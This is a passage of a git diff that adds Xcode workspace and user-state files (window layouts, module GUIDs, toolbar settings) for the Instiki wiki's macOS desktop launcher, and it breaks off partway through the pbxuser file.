+						<key>Frame</key>
+						<string>{{0, 0}, {203, 356}}</string>
+						<key>GroupTreeTableConfiguration</key>
+						<array>
+							<string>MainColumn</string>
+							<real>186</real>
+						</array>
+						<key>RubberWindowFrame</key>
+						<string>224 306 690 397 0 0 1024 746 </string>
+					</dict>
+					<key>Module</key>
+					<string>PBXSmartGroupTreeModule</string>
+					<key>Proportion</key>
+					<string>203pt</string>
+				</dict>
+				<dict>
+					<key>Dock</key>
+					<array>
+						<dict>
+							<key>ContentConfiguration</key>
+							<dict>
+								<key>PBXProjectModuleGUID</key>
+								<string>1CE0B20306471E060097A5F4</string>
+								<key>PBXProjectModuleLabel</key>
+								<string>MyNewFile14.java</string>
+								<key>PBXSplitModuleInNavigatorKey</key>
+								<dict>
+									<key>Split0</key>
+									<dict>
+										<key>PBXProjectModuleGUID</key>
+										<string>1CE0B20406471E060097A5F4</string>
+										<key>PBXProjectModuleLabel</key>
+										<string>MyNewFile14.java</string>
+									</dict>
+									<key>SplitCount</key>
+									<string>1</string>
+								</dict>
+								<key>StatusBarVisibility</key>
+								<true/>
+							</dict>
+							<key>GeometryConfiguration</key>
+							<dict>
+								<key>Frame</key>
+								<string>{{0, 0}, {482, 0}}</string>
+								<key>RubberWindowFrame</key>
+								<string>224 306 690 397 0 0 1024 746 </string>
+							</dict>
+							<key>Module</key>
+							<string>PBXNavigatorGroup</string>
+							<key>Proportion</key>
+							<string>0pt</string>
+						</dict>
+						<dict>
+							<key>ContentConfiguration</key>
+							<dict>
+								<key>PBXProjectModuleGUID</key>
+								<string>1CE0B20506471E060097A5F4</string>
+								<key>PBXProjectModuleLabel</key>
+								<string>Detail</string>
+							</dict>
+							<key>GeometryConfiguration</key>
+							<dict>
+								<key>Frame</key>
+								<string>{{0, 5}, {482, 351}}</string>
+								<key>RubberWindowFrame</key>
+								<string>224 306 690 397 0 0 1024 746 </string>
+							</dict>
+							<key>Module</key>
+							<string>XCDetailModule</string>
+							<key>Proportion</key>
+							<string>351pt</string>
+						</dict>
+					</array>
+					<key>Proportion</key>
+					<string>482pt</string>
+				</dict>
+			</array>
+			<key>Name</key>
+			<string>Project</string>
+			<key>ServiceClasses</key>
+			<array>
+				<string>XCModuleDock</string>
+				<string>PBXSmartGroupTreeModule</string>
+				<string>XCModuleDock</string>
+				<string>PBXNavigatorGroup</string>
+				<string>XCDetailModule</string>
+			</array>
+			<key>TableOfContents</key>
+			<array>
+				<string>4FCAF056089D096D0001C11B</string>
+				<string>1CE0B1FE06471DED0097A5F4</string>
+				<string>4FCAF057089D096D0001C11B</string>
+				<string>1CE0B20306471E060097A5F4</string>
+				<string>1CE0B20506471E060097A5F4</string>
+			</array>
+			<key>ToolbarConfiguration</key>
+			<string>xcode.toolbar.config.default</string>
+		</dict>
+		<dict>
+			<key>ControllerClassBaseName</key>
+			<string></string>
+			<key>IconName</key>
+			<string>WindowOfProject</string>
+			<key>Identifier</key>
+			<string>perspective.morph</string>
+			<key>IsVertical</key>
+			<integer>0</integer>
+			<key>Layout</key>
+			<array>
+				<dict>
+					<key>BecomeActive</key>
+					<integer>1</integer>
+					<key>ContentConfiguration</key>
+					<dict>
+						<key>PBXBottomSmartGroupGIDs</key>
+						<array>
+							<string>1C37FBAC04509CD000000102</string>
+							<string>1C37FAAC04509CD000000102</string>
+							<string>1C08E77C0454961000C914BD</string>
+							<string>1C37FABC05509CD000000102</string>
+							<string>1C37FABC05539CD112110102</string>
+							<string>E2644B35053B69B200211256</string>
+							<string>1C37FABC04509CD000100104</string>
+							<string>1CC0EA4004350EF90044410B</string>
+							<string>1CC0EA4004350EF90041110B</string>
+						</array>
+						<key>PBXProjectModuleGUID</key>
+						<string>11E0B1FE06471DED0097A5F4</string>
+						<key>PBXProjectModuleLabel</key>
+						<string>Files</string>
+						<key>PBXProjectStructureProvided</key>
+						<string>yes</string>
+						<key>PBXSmartGroupTreeModuleColumnData</key>
+						<dict>
+							<key>PBXSmartGroupTreeModuleColumnWidthsKey</key>
+							<array>
+								<real>186</real>
+							</array>
+							<key>PBXSmartGroupTreeModuleColumnsKey_v4</key>
+							<array>
+								<string>MainColumn</string>
+							</array>
+						</dict>
+						<key>PBXSmartGroupTreeModuleOutlineStateKey_v7</key>
+						<dict>
+							<key>PBXSmartGroupTreeModuleOutlineStateExpansionKey</key>
+							<array>
+								<string>29B97314FDCFA39411CA2CEA</string>
+								<string>1C37FABC05509CD000000102</string>
+							</array>
+							<key>PBXSmartGroupTreeModuleOutlineStateSelectionKey</key>
+							<array>
+								<array>
+									<integer>0</integer>
+								</array>
+							</array>
+							<key>PBXSmartGroupTreeModuleOutlineStateVisibleRectKey</key>
+							<string>{{0, 0}, {186, 337}}</string>
+						</dict>
+						<key>PBXTopSmartGroupGIDs</key>
+						<array/>
+						<key>XCIncludePerspectivesSwitch</key>
+						<integer>1</integer>
+						<key>XCSharingToken</key>
+						<string>com.apple.Xcode.GFSharingToken</string>
+					</dict>
+					<key>GeometryConfiguration</key>
+					<dict>
+						<key>Frame</key>
+						<string>{{0, 0}, {203, 355}}</string>
+						<key>GroupTreeTableConfiguration</key>
+						<array>
+							<string>MainColumn</string>
+							<real>186</real>
+						</array>
+						<key>RubberWindowFrame</key>
+						<string>373 269 690 397 0 0 1440 878 </string>
+					</dict>
+					<key>Module</key>
+					<string>PBXSmartGroupTreeModule</string>
+					<key>Proportion</key>
+					<string>100%</string>
+				</dict>
+			</array>
+			<key>Name</key>
+			<string>Morph</string>
+			<key>PreferredWidth</key>
+			<integer>300</integer>
+			<key>ServiceClasses</key>
+			<array>
+				<string>XCModuleDock</string>
+				<string>PBXSmartGroupTreeModule</string>
+			</array>
+			<key>TableOfContents</key>
+			<array>
+				<string>11E0B1FE06471DED0097A5F4</string>
+			</array>
+			<key>ToolbarConfiguration</key>
+			<string>xcode.toolbar.config.default.short</string>
+		</dict>
+	</array>
+	<key>PerspectivesBarVisible</key>
+	<false/>
+	<key>ShelfIsVisible</key>
+	<false/>
+	<key>SourceDescription</key>
+	<string>file at '/System/Library/PrivateFrameworks/DevToolsInterface.framework/Versions/A/Resources/XCPerspectivesSpecificationMode1.xcperspec'</string>
+	<key>StatusbarIsVisible</key>
+	<true/>
+	<key>TimeStamp</key>
+	<real>0.0</real>
+	<key>ToolbarDisplayMode</key>
+	<integer>1</integer>
+	<key>ToolbarIsVisible</key>
+	<true/>
+	<key>ToolbarSizeMode</key>
+	<integer>1</integer>
+	<key>Type</key>
+	<string>Perspectives</string>
+	<key>UpdateMessage</key>
+	<string>The Default Workspace in this version of Xcode now includes support to hide and show the detail view (what has been referred to as the "Metro-Morph" feature).  You must discard your current Default Workspace settings and update to the latest Default Workspace in order to gain this feature.  Do you wish to update to the latest Workspace defaults for project '%@'?</string>
+	<key>WindowJustification</key>
+	<integer>5</integer>
+	<key>WindowOrderList</key>
+	<array>
+		<string>/Volumes/Media/Sources/instiki-0.10.2/natives/osx/desktop_launcher/Instiki.xcode</string>
+		<string>4FCAF058089D096D0001C11B</string>
+	</array>
+	<key>WindowString</key>
+	<string>224 306 690 397 0 0 1024 746 </string>
+	<key>WindowTools</key>
+	<array>
+		<dict>
+			<key>FirstTimeWindowDisplayed</key>
+			<false/>
+			<key>Identifier</key>
+			<string>windowTool.build</string>
+			<key>IsVertical</key>
+			<true/>
+			<key>Layout</key>
+			<array>
+				<dict>
+					<key>Dock</key>
+					<array>
+						<dict>
+							<key>ContentConfiguration</key>
+							<dict>
+								<key>PBXProjectModuleGUID</key>
+								<string>1CD0528F0623707200166675</string>
+								<key>PBXProjectModuleLabel</key>
+								<string></string>
+								<key>StatusBarVisibility</key>
+								<true/>
+							</dict>
+							<key>GeometryConfiguration</key>
+							<dict>
+								<key>Frame</key>
+								<string>{{0, 0}, {500, 219}}</string>
+								<key>RubberWindowFrame</key>
+								<string>249 212 500 500 0 0 1024 746 </string>
+							</dict>
+							<key>Module</key>
+							<string>PBXNavigatorGroup</string>
+							<key>Proportion</key>
+							<string>219pt</string>
+						</dict>
+						<dict>
+							<key>BecomeActive</key>
+							<true/>
+							<key>ContentConfiguration</key>
+							<dict>
+								<key>PBXProjectModuleGUID</key>
+								<string>XCMainBuildResultsModuleGUID</string>
+								<key>PBXProjectModuleLabel</key>
+								<string>Build</string>
+								<key>XCBuildResultsTrigger_Collapse</key>
+								<integer>1021</integer>
+								<key>XCBuildResultsTrigger_Open</key>
+								<integer>1011</integer>
+							</dict>
+							<key>GeometryConfiguration</key>
+							<dict>
+								<key>Frame</key>
+								<string>{{0, 224}, {500, 235}}</string>
+								<key>RubberWindowFrame</key>
+								<string>249 212 500 500 0 0 1024 746 </string>
+							</dict>
+							<key>Module</key>
+							<string>PBXBuildResultsModule</string>
+							<key>Proportion</key>
+							<string>235pt</string>
+						</dict>
+					</array>
+					<key>Proportion</key>
+					<string>459pt</string>
+				</dict>
+			</array>
+			<key>Name</key>
+			<string>Build Results</string>
+			<key>ServiceClasses</key>
+			<array>
+				<string>PBXBuildResultsModule</string>
+			</array>
+			<key>StatusbarIsVisible</key>
+			<true/>
+			<key>TableOfContents</key>
+			<array>
+				<string>4F32D332089CDCC8003CF12F</string>
+				<string>4F32D333089CDCC8003CF12F</string>
+				<string>1CD0528F0623707200166675</string>
+				<string>XCMainBuildResultsModuleGUID</string>
+			</array>
+			<key>ToolbarConfiguration</key>
+			<string>xcode.toolbar.config.build</string>
+			<key>WindowString</key>
+			<string>249 212 500 500 0 0 1024 746 </string>
+			<key>WindowToolGUID</key>
+			<string>4F32D332089CDCC8003CF12F</string>
+			<key>WindowToolIsVisible</key>
+			<false/>
+		</dict>
+		<dict>
+			<key>Identifier</key>
+			<string>windowTool.debugger</string>
+			<key>Layout</key>
+			<array>
+				<dict>
+					<key>Dock</key>
+					<array>
+						<dict>
+							<key>ContentConfiguration</key>
+							<dict>
+								<key>Debugger</key>
+								<dict>
+									<key>HorizontalSplitView</key>
+									<dict>
+										<key>_collapsingFrameDimension</key>
+										<real>0.0</real>
+										<key>_indexOfCollapsedView</key>
+										<integer>0</integer>
+										<key>_percentageOfCollapsedView</key>
+										<real>0.0</real>
+										<key>isCollapsed</key>
+										<string>yes</string>
+										<key>sizes</key>
+										<array>
+											<string>{{0, 0}, {317, 164}}</string>
+											<string>{{317, 0}, {377, 164}}</string>
+										</array>
+									</dict>
+									<key>VerticalSplitView</key>
+									<dict>
+										<key>_collapsingFrameDimension</key>
+										<real>0.0</real>
+										<key>_indexOfCollapsedView</key>
+										<integer>0</integer>
+										<key>_percentageOfCollapsedView</key>
+										<real>0.0</real>
+										<key>isCollapsed</key>
+										<string>yes</string>
+										<key>sizes</key>
+										<array>
+											<string>{{0, 0}, {694, 164}}</string>
+											<string>{{0, 164}, {694, 216}}</string>
+										</array>
+									</dict>
+								</dict>
+								<key>LauncherConfigVersion</key>
+								<string>8</string>
+								<key>PBXProjectModuleGUID</key>
+								<string>1C162984064C10D400B95A72</string>
+								<key>PBXProjectModuleLabel</key>
+								<string>Debug - GLUTExamples (Underwater)</string>
+							</dict>
+							<key>GeometryConfiguration</key>
+							<dict>
+								<key>DebugConsoleDrawerSize</key>
+								<string>{100, 120}</string>
+								<key>DebugConsoleVisible</key>
+								<string>None</string>
+								<key>DebugConsoleWindowFrame</key>
+								<string>{{200, 200}, {500, 300}}</string>
+								<key>DebugSTDIOWindowFrame</key>
+								<string>{{200, 200}, {500, 300}}</string>
+								<key>Frame</key>
+								<string>{{0, 0}, {694, 380}}</string>
+								<key>RubberWindowFrame</key>
+								<string>321 238 694 422 0 0 1440 878 </string>
+							</dict>
+							<key>Module</key>
+							<string>PBXDebugSessionModule</string>
+							<key>Proportion</key>
+							<string>100%</string>
+						</dict>
+					</array>
+					<key>Proportion</key>
+					<string>100%</string>
+				</dict>
+			</array>
+			<key>Name</key>
+			<string>Debugger</string>
+			<key>ServiceClasses</key>
+			<array>
+				<string>PBXDebugSessionModule</string>
+			</array>
+			<key>StatusbarIsVisible</key>
+			<integer>1</integer>
+			<key>TableOfContents</key>
+			<array>
+				<string>1CD10A99069EF8BA00B06720</string>
+				<string>1C0AD2AB069F1E9B00FABCE6</string>
+				<string>1C162984064C10D400B95A72</string>
+				<string>1C0AD2AC069F1E9B00FABCE6</string>
+			</array>
+			<key>ToolbarConfiguration</key>
+			<string>xcode.toolbar.config.debug</string>
+			<key>WindowString</key>
+			<string>321 238 694 422 0 0 1440 878 </string>
+			<key>WindowToolGUID</key>
+			<string>1CD10A99069EF8BA00B06720</string>
+			<key>WindowToolIsVisible</key>
+			<integer>0</integer>
+		</dict>
+		<dict>
+			<key>Identifier</key>
+			<string>windowTool.find</string>
+			<key>Layout</key>
+			<array>
+				<dict>
+					<key>Dock</key>
+					<array>
+						<dict>
+							<key>Dock</key>
+							<array>
+								<dict>
+									<key>ContentConfiguration</key>
+									<dict>
+										<key>PBXProjectModuleGUID</key>
+										<string>1CDD528C0622207200134675</string>
+										<key>PBXProjectModuleLabel</key>
+										<string>&lt;No Editor&gt;</string>
+										<key>PBXSplitModuleInNavigatorKey</key>
+										<dict>
+											<key>Split0</key>
+											<dict>
+												<key>PBXProjectModuleGUID</key>
+												<string>1CD0528D0623707200166675</string>
+											</dict>
+											<key>SplitCount</key>
+											<string>1</string>
+										</dict>
+										<key>StatusBarVisibility</key>
+										<integer>1</integer>
+									</dict>
+									<key>GeometryConfiguration</key>
+									<dict>
+										<key>Frame</key>
+										<string>{{0, 0}, {781, 167}}</string>
+										<key>RubberWindowFrame</key>
+										<string>62 385 781 470 0 0 1440 878 </string>
+									</dict>
+									<key>Module</key>
+									<string>PBXNavigatorGroup</string>
+									<key>Proportion</key>
+									<string>781pt</string>
+								</dict>
+							</array>
+							<key>Proportion</key>
+							<string>50%</string>
+						</dict>
+						<dict>
+							<key>BecomeActive</key>
+							<integer>1</integer>
+							<key>ContentConfiguration</key>
+							<dict>
+								<key>PBXProjectModuleGUID</key>
+								<string>1CD0528E0623707200166675</string>
+								<key>PBXProjectModuleLabel</key>
+								<string>Project Find</string>
+							</dict>
+							<key>GeometryConfiguration</key>
+							<dict>
+								<key>Frame</key>
+								<string>{{8, 0}, {773, 254}}</string>
+								<key>RubberWindowFrame</key>
+								<string>62 385 781 470 0 0 1440 878 </string>
+							</dict>
+							<key>Module</key>
+							<string>PBXProjectFindModule</string>
+							<key>Proportion</key>
+							<string>50%</string>
+						</dict>
+					</array>
+					<key>Proportion</key>
+					<string>428pt</string>
+				</dict>
+			</array>
+			<key>Name</key>
+			<string>Project Find</string>
+			<key>ServiceClasses</key>
+			<array>
+				<string>PBXProjectFindModule</string>
+			</array>
+			<key>StatusbarIsVisible</key>
+			<integer>1</integer>
+			<key>TableOfContents</key>
+			<array>
+				<string>1C530D57069F1CE1000CFCEE</string>
+				<string>1C530D58069F1CE1000CFCEE</string>
+				<string>1C530D59069F1CE1000CFCEE</string>
+				<string>1CDD528C0622207200134675</string>
+				<string>1C530D5A069F1CE1000CFCEE</string>
+				<string>1CE0B1FE06471DED0097A5F4</string>
+				<string>1CD0528E0623707200166675</string>
+			</array>
+			<key>WindowString</key>
+			<string>62 385 781 470 0 0 1440 878 </string>
+			<key>WindowToolGUID</key>
+			<string>1C530D57069F1CE1000CFCEE</string>
+			<key>WindowToolIsVisible</key>
+			<integer>0</integer>
+		</dict>
+		<dict>
+			<key>Identifier</key>
+			<string>MENUSEPARATOR</string>
+		</dict>
+		<dict>
+			<key>Identifier</key>
+			<string>windowTool.debuggerConsole</string>
+			<key>Layout</key>
+			<array>
+				<dict>
+					<key>Dock</key>
+					<array>
+						<dict>
+							<key>BecomeActive</key>
+							<integer>1</integer>
+							<key>ContentConfiguration</key>
+							<dict>
+								<key>PBXProjectModuleGUID</key>
+								<string>1C78EAAC065D492600B07095</string>
+								<key>PBXProjectModuleLabel</key>
+								<string>Debugger Console</string>
+							</dict>
+							<key>GeometryConfiguration</key>
+							<dict>
+								<key>Frame</key>
+								<string>{{0, 0}, {440, 358}}</string>
+								<key>RubberWindowFrame</key>
+								<string>650 41 440 400 0 0 1280 1002 </string>
+							</dict>
+							<key>Module</key>
+							<string>PBXDebugCLIModule</string>
+							<key>Proportion</key>
+							<string>358pt</string>
+						</dict>
+					</array>
+					<key>Proportion</key>
+					<string>358pt</string>
+				</dict>
+			</array>
+			<key>Name</key>
+			<string>Debugger Console</string>
+			<key>ServiceClasses</key>
+			<array>
+				<string>PBXDebugCLIModule</string>
+			</array>
+			<key>StatusbarIsVisible</key>
+			<integer>1</integer>
+			<key>TableOfContents</key>
+			<array>
+				<string>1C78EAAD065D492600B07095</string>
+				<string>1C78EAAE065D492600B07095</string>
+				<string>1C78EAAC065D492600B07095</string>
+			</array>
+			<key>WindowString</key>
+			<string>650 41 440 400 0 0 1280 1002 </string>
+		</dict>
+		<dict>
+			<key>Identifier</key>
+			<string>windowTool.run</string>
+			<key>Layout</key>
+			<array>
+				<dict>
+					<key>Dock</key>
+					<array>
+						<dict>
+							<key>ContentConfiguration</key>
+							<dict>
+								<key>LauncherConfigVersion</key>
+								<string>3</string>
+								<key>PBXProjectModuleGUID</key>
+								<string>1CD0528B0623707200166675</string>
+								<key>PBXProjectModuleLabel</key>
+								<string>Run</string>
+								<key>Runner</key>
+								<dict>
+									<key>HorizontalSplitView</key>
+									<dict>
+										<key>_collapsingFrameDimension</key>
+										<real>0.0</real>
+										<key>_indexOfCollapsedView</key>
+										<integer>0</integer>
+										<key>_percentageOfCollapsedView</key>
+										<real>0.0</real>
+										<key>isCollapsed</key>
+										<string>yes</string>
+										<key>sizes</key>
+										<array>
+											<string>{{0, 0}, {493, 167}}</string>
+											<string>{{0, 176}, {493, 267}}</string>
+										</array>
+									</dict>
+									<key>VerticalSplitView</key>
+									<dict>
+										<key>_collapsingFrameDimension</key>
+										<real>0.0</real>
+										<key>_indexOfCollapsedView</key>
+										<integer>0</integer>
+										<key>_percentageOfCollapsedView</key>
+										<real>0.0</real>
+										<key>isCollapsed</key>
+										<string>yes</string>
+										<key>sizes</key>
+										<array>
+											<string>{{0, 0}, {405, 443}}</string>
+											<string>{{414, 0}, {514, 443}}</string>
+										</array>
+									</dict>
+								</dict>
+							</dict>
+							<key>GeometryConfiguration</key>
+							<dict>
+								<key>Frame</key>
+								<string>{{0, 0}, {460, 159}}</string>
+								<key>RubberWindowFrame</key>
+								<string>316 696 459 200 0 0 1280 1002 </string>
+							</dict>
+							<key>Module</key>
+							<string>PBXRunSessionModule</string>
+							<key>Proportion</key>
+							<string>159pt</string>
+						</dict>
+					</array>
+					<key>Proportion</key>
+					<string>159pt</string>
+				</dict>
+			</array>
+			<key>Name</key>
+			<string>Run Log</string>
+			<key>ServiceClasses</key>
+			<array>
+				<string>PBXRunSessionModule</string>
+			</array>
+			<key>StatusbarIsVisible</key>
+			<integer>1</integer>
+			<key>TableOfContents</key>
+			<array>
+				<string>1C0AD2B3069F1EA900FABCE6</string>
+				<string>1C0AD2B4069F1EA900FABCE6</string>
+				<string>1CD0528B0623707200166675</string>
+				<string>1C0AD2B5069F1EA900FABCE6</string>
+			</array>
+			<key>ToolbarConfiguration</key>
+			<string>xcode.toolbar.config.run</string>
+			<key>WindowString</key>
+			<string>316 696 459 200 0 0 1280 1002 </string>
+			<key>WindowToolGUID</key>
+			<string>1C0AD2B3069F1EA900FABCE6</string>
+			<key>WindowToolIsVisible</key>
+			<integer>0</integer>
+		</dict>
+		<dict>
+			<key>Identifier</key>
+			<string>windowTool.scm</string>
+			<key>Layout</key>
+			<array>
+				<dict>
+					<key>Dock</key>
+					<array>
+						<dict>
+							<key>ContentConfiguration</key>
+							<dict>
+								<key>PBXProjectModuleGUID</key>
+								<string>1C78EAB2065D492600B07095</string>
+								<key>PBXProjectModuleLabel</key>
+								<string>&lt;No Editor&gt;</string>
+								<key>PBXSplitModuleInNavigatorKey</key>
+								<dict>
+									<key>Split0</key>
+									<dict>
+										<key>PBXProjectModuleGUID</key>
+										<string>1C78EAB3065D492600B07095</string>
+									</dict>
+									<key>SplitCount</key>
+									<string>1</string>
+								</dict>
+								<key>StatusBarVisibility</key>
+								<integer>1</integer>
+							</dict>
+							<key>GeometryConfiguration</key>
+							<dict>
+								<key>Frame</key>
+								<string>{{0, 0}, {452, 0}}</string>
+								<key>RubberWindowFrame</key>
+								<string>743 379 452 308 0 0 1280 1002 </string>
+							</dict>
+							<key>Module</key>
+							<string>PBXNavigatorGroup</string>
+							<key>Proportion</key>
+							<string>0pt</string>
+						</dict>
+						<dict>
+							<key>BecomeActive</key>
+							<integer>1</integer>
+							<key>ContentConfiguration</key>
+							<dict>
+								<key>PBXProjectModuleGUID</key>
+								<string>1CD052920623707200166675</string>
+								<key>PBXProjectModuleLabel</key>
+								<string>SCM</string>
+							</dict>
+							<key>GeometryConfiguration</key>
+							<dict>
+								<key>ConsoleFrame</key>
+								<string>{{0, 259}, {452, 0}}</string>
+								<key>Frame</key>
+								<string>{{0, 7}, {452, 259}}</string>
+								<key>RubberWindowFrame</key>
+								<string>743 379 452 308 0 0 1280 1002 </string>
+								<key>TableConfiguration</key>
+								<array>
+									<string>Status</string>
+									<real>30</real>
+									<string>FileName</string>
+									<real>199</real>
+									<string>Path</string>
+									<real>197.09500122070312</real>
+								</array>
+								<key>TableFrame</key>
+								<string>{{0, 0}, {452, 250}}</string>
+							</dict>
+							<key>Module</key>
+							<string>PBXCVSModule</string>
+							<key>Proportion</key>
+							<string>262pt</string>
+						</dict>
+					</array>
+					<key>Proportion</key>
+					<string>266pt</string>
+				</dict>
+			</array>
+			<key>Name</key>
+			<string>SCM</string>
+			<key>ServiceClasses</key>
+			<array>
+				<string>PBXCVSModule</string>
+			</array>
+			<key>StatusbarIsVisible</key>
+			<integer>1</integer>
+			<key>TableOfContents</key>
+			<array>
+				<string>1C78EAB4065D492600B07095</string>
+				<string>1C78EAB5065D492600B07095</string>
+				<string>1C78EAB2065D492600B07095</string>
+				<string>1CD052920623707200166675</string>
+			</array>
+			<key>ToolbarConfiguration</key>
+			<string>xcode.toolbar.config.scm</string>
+			<key>WindowString</key>
+			<string>743 379 452 308 0 0 1280 1002 </string>
+		</dict>
+		<dict>
+			<key>Identifier</key>
+			<string>windowTool.breakpoints</string>
+			<key>Layout</key>
+			<array>
+				<dict>
+					<key>Dock</key>
+					<array>
+						<dict>
+							<key>BecomeActive</key>
+							<integer>1</integer>
+							<key>ContentConfiguration</key>
+							<dict>
+								<key>PBXProjectModuleGUID</key>
+								<string>1CD052930623707200166675</string>
+								<key>PBXProjectModuleLabel</key>
+								<string>Breakpoints</string>
+							</dict>
+							<key>GeometryConfiguration</key>
+							<dict>
+								<key>BreakpointsTreeTableConfiguration</key>
+								<array>
+									<string>enabledColumn</string>
+									<real>16</real>
+									<string>breakpointColumn</string>
+									<real>201.5830078125</real>
+								</array>
+								<key>Frame</key>
+								<string>{{0, 0}, {240, 195}}</string>
+								<key>RubberWindowFrame</key>
+								<string>342 421 240 216 0 0 1440 878 </string>
+							</dict>
+							<key>Module</key>
+							<string>PBXDebugBreakpointsModule</string>
+							<key>Proportion</key>
+							<string>195pt</string>
+						</dict>
+					</array>
+					<key>Proportion</key>
+					<string>195pt</string>
+				</dict>
+			</array>
+			<key>Name</key>
+			<string>Breakpoints</string>
+			<key>ServiceClasses</key>
+			<array>
+				<string>PBXDebugBreakpointsModule</string>
+			</array>
+			<key>StatusbarIsVisible</key>
+			<integer>0</integer>
+			<key>TableOfContents</key>
+			<array>
+				<string>1C0AD2AD069F1E9B00FABCE6</string>
+				<string>1C0AD2AE069F1E9B00FABCE6</string>
+				<string>1CD052930623707200166675</string>
+			</array>
+			<key>WindowString</key>
+			<string>342 421 240 216 0 0 1440 878 </string>
+			<key>WindowToolGUID</key>
+			<string>1C0AD2AD069F1E9B00FABCE6</string>
+			<key>WindowToolIsVisible</key>
+			<integer>0</integer>
+		</dict>
+		<dict>
+			<key>Identifier</key>
+			<string>windowTool.bookmarks</string>
+			<key>Layout</key>
+			<array>
+				<dict>
+					<key>Dock</key>
+					<array>
+						<dict>
+							<key>Module</key>
+							<string>PBXBookmarksModule</string>
+							<key>Proportion</key>
+							<string>100%</string>
+						</dict>
+					</array>
+					<key>Proportion</key>
+					<string>100%</string>
+				</dict>
+			</array>
+			<key>Name</key>
+			<string>Bookmarks</string>
+			<key>ServiceClasses</key>
+			<array>
+				<string>PBXBookmarksModule</string>
+			</array>
+			<key>StatusbarIsVisible</key>
+			<integer>0</integer>
+			<key>WindowString</key>
+			<string>538 42 401 187 0 0 1280 1002 </string>
+		</dict>
+		<dict>
+			<key>Identifier</key>
+			<string>windowTool.classBrowser</string>
+			<key>Layout</key>
+			<array>
+				<dict>
+					<key>Dock</key>
+					<array>
+						<dict>
+							<key>BecomeActive</key>
+							<integer>1</integer>
+							<key>ContentConfiguration</key>
+							<dict>
+								<key>OptionsSetName</key>
+								<string>Hierarchy, all classes</string>
+								<key>PBXProjectModuleGUID</key>
+								<string>1CA6456E063B45B4001379D8</string>
+								<key>PBXProjectModuleLabel</key>
+								<string>Class Browser - NSObject</string>
+							</dict>
+							<key>GeometryConfiguration</key>
+							<dict>
+								<key>ClassesFrame</key>
+								<string>{{0, 0}, {374, 96}}</string>
+								<key>ClassesTreeTableConfiguration</key>
+								<array>
+									<string>PBXClassNameColumnIdentifier</string>
+									<real>208</real>
+									<string>PBXClassBookColumnIdentifier</string>
+									<real>22</real>
+								</array>
+								<key>Frame</key>
+								<string>{{0, 0}, {630, 331}}</string>
+								<key>MembersFrame</key>
+								<string>{{0, 105}, {374, 395}}</string>
+								<key>MembersTreeTableConfiguration</key>
+								<array>
+									<string>PBXMemberTypeIconColumnIdentifier</string>
+									<real>22</real>
+									<string>PBXMemberNameColumnIdentifier</string>
+									<real>216</real>
+									<string>PBXMemberTypeColumnIdentifier</string>
+									<real>97</real>
+									<string>PBXMemberBookColumnIdentifier</string>
+									<real>22</real>
+								</array>
+								<key>PBXModuleWindowStatusBarHidden2</key>
+								<integer>1</integer>
+								<key>RubberWindowFrame</key>
+								<string>385 179 630 352 0 0 1440 878 </string>
+							</dict>
+							<key>Module</key>
+							<string>PBXClassBrowserModule</string>
+							<key>Proportion</key>
+							<string>332pt</string>
+						</dict>
+					</array>
+					<key>Proportion</key>
+					<string>332pt</string>
+				</dict>
+			</array>
+			<key>Name</key>
+			<string>Class Browser</string>
+			<key>ServiceClasses</key>
+			<array>
+				<string>PBXClassBrowserModule</string>
+			</array>
+			<key>StatusbarIsVisible</key>
+			<integer>0</integer>
+			<key>TableOfContents</key>
+			<array>
+				<string>1C0AD2AF069F1E9B00FABCE6</string>
+				<string>1C0AD2B0069F1E9B00FABCE6</string>
+				<string>1CA6456E063B45B4001379D8</string>
+			</array>
+			<key>ToolbarConfiguration</key>
+			<string>xcode.toolbar.config.classbrowser</string>
+			<key>WindowString</key>
+			<string>385 179 630 352 0 0 1440 878 </string>
+			<key>WindowToolGUID</key>
+			<string>1C0AD2AF069F1E9B00FABCE6</string>
+			<key>WindowToolIsVisible</key>
+			<integer>0</integer>
+		</dict>
+	</array>
+</dict>
+</plist>
diff --git a/natives/osx/desktop_launcher/Instiki.xcode/ok.pbxuser b/natives/osx/desktop_launcher/Instiki.xcode/ok.pbxuser
new file mode 100644
index 00000000..149cb773
--- /dev/null
+++ b/natives/osx/desktop_launcher/Instiki.xcode/ok.pbxuser
@@ -0,0 +1,152 @@
+// !$*UTF8*$!
+{
+	174B2765065CE31400ED6208 = {
+		uiCtxt = {
+			sepNavIntBoundsRect = "{{0, 0}, {711, 1540}}";
+			sepNavSelRange = "{1371, 0}";
+			sepNavVisRect = "{{0, 0}, {711, 429}}";
+			sepNavWindowFrame = "{{265, 148}, {750, 558}}";
+		};
+	};
+	174B2766065CE31400ED6208 = {
+		uiCtxt = {
+			sepNavIntBoundsRect = "{{0, 0}, {711, 429}}";
+			sepNavSelRange = "{44, 0}";
+			sepNavVisRect = "{{0, 0}, {711, 429}}";
+			sepNavWindowFrame = "{{61, 141}, {750, 558}}";
+		};
+	};
+	17C1C6E2065D458D003526E7 = {
+		uiCtxt = {
+			sepNavIntBoundsRect = "{{0, 0}, {711, 429}}";
+			sepNavSelRange = "{0, 0}";
+			sepNavVisRect = "{{0, 0}, {711, 429}}";
+			sepNavWindowFrame = "{{84, 120}, {750, 558}}";
+		};
+	};
+	29B97313FDCFA39411CA2CEA = {
+		activeBuildStyle = 4A9504CDFFE6A4B311CA0CBA;
+		activeExecutable = 4F32CD80089CC78D003CF12F;
+		activeTarget = 8D1107260486CEB800E47090;
+		addToTargets = (
+			8D1107260486CEB800E47090,
+		);
+		codeSenseManager = 4F32CD91089CC7BC003CF12F;
+		executables = (
+			4F32CD80089CC78D003CF12F,
+		);
+		perUserDictionary = {
+			PBXConfiguration.PBXFileTableDataSource3.PBXFileTableDataSource = {
+				PBXFileTableDataSourceColumnSortingDirectionKey = "-1";
+				PBXFileTableDataSourceColumnSortingKey = PBXFileDataSource_Filename_ColumnID;
+				PBXFileTableDataSourceColumnWidthsKey = (
+					20,
+					243,
+					20,
+					48,
+					43,
+					43,
+					20,
+				);
+				PBXFileTableDataSourceColumnsKey = (
+					PBXFileDataSource_FiletypeID,
+					PBXFileDataSource_Filename_ColumnID,
+					PBXFileDataSource_Built_ColumnID,
+					PBXFileDataSource_ObjectSize_ColumnID,
+					PBXFileDataSource_Errors_ColumnID,
+					PBXFileDataSource_Warnings_ColumnID,
+					PBXFileDataSource_Target_ColumnID,
+				);
+			};
+			PBXConfiguration.PBXTargetDataSource.PBXTargetDataSource = {
+				PBXFileTableDataSourceColumnSortingDirectionKey = "-1";
+				PBXFileTableDataSourceColumnSortingKey = PBXFileDataSource_Filename_ColumnID;
+				PBXFileTableDataSourceColumnWidthsKey = (
+					20,
+					200,
